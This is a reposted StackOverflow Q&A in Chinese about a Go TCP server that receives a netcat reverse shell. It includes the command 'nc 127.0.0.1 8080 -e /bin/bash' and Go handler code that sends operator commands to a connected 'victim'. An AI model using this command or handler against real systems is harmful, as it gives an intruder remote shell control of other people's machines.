登录
首页 >  Golang >  Go问答

如何捕获 netcat 反向 shell?

来源:stackoverflow

时间:2024-04-19 23:27:38 154浏览 收藏

哈喽!今天心血来潮给大家带来了《如何捕获 netcat 反向 shell?》,想必大家应该对Golang都不陌生吧,那么阅读本文就都不会很困难,以下内容主要涉及到,若是你正在学习Golang,千万别错过这篇文章~希望能帮助到你!

问题内容

我正在 go 中开发 tcp 服务器。 tcp 服务器需要能够捕获来自 netcat 的反向 shell:

$ nc 127.0.0.1 8080 -e /bin/bash

我应该能够发送命令并接收响应;但是,我的服务器在收到连接时似乎挂起。

我认为问题出在 bufio.newreader(conn).readstring('\n') 行,但我不知道如何修复它。

您能提供任何解决方案吗,谢谢?

服务器代码(注意:为简洁起见,省略了错误处理):

func main() {
    ln, _ := net.Listen("tcp", "127.0.0.1:8080")
    for {
        conn, _ := ln.Accept()
        handleConn(conn)
    }
}

func handleConn(conn net.Conn) {
    for {
        // Receive data from netcat victim
        data, _ := bufio.NewReader(conn).ReadString('\n')
        fmt.Println(data)

        // Read command from Stdin then send to netcat victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('\n')
        fmt.Fprintln(conn, cmd)
    }
}

解决方案


我在发布问题后立即解决了我的问题(天啊!)。 无论如何,解决方案很简单:反转读写逻辑。 之后,一切都按预期进行。

这是固定代码:

func handleConn(conn net.Conn) {
    fmt.Println("Connection received.")
    for {
        // Read command from Stdin and send to victim
        reader := bufio.NewReader(os.Stdin)
        cmd, _ := reader.ReadString('\n')
        fmt.Fprintln(conn, cmd)

        // Receive input from connection
        data, _ := bufio.NewReader(conn).ReadString('\n')
        fmt.Println(data)
    }
}

以上就是本文的全部内容了,是否有顺利帮助你解决问题?若是能给你带来学习上的帮助,请大家多多支持golang学习网!更多关于Golang的相关知识,也可关注golang学习网公众号。

声明:本文转载于:stackoverflow 如有侵犯,请联系study_golang@163.com删除
相关阅读
更多>
最新阅读
更多>
课程推荐
更多>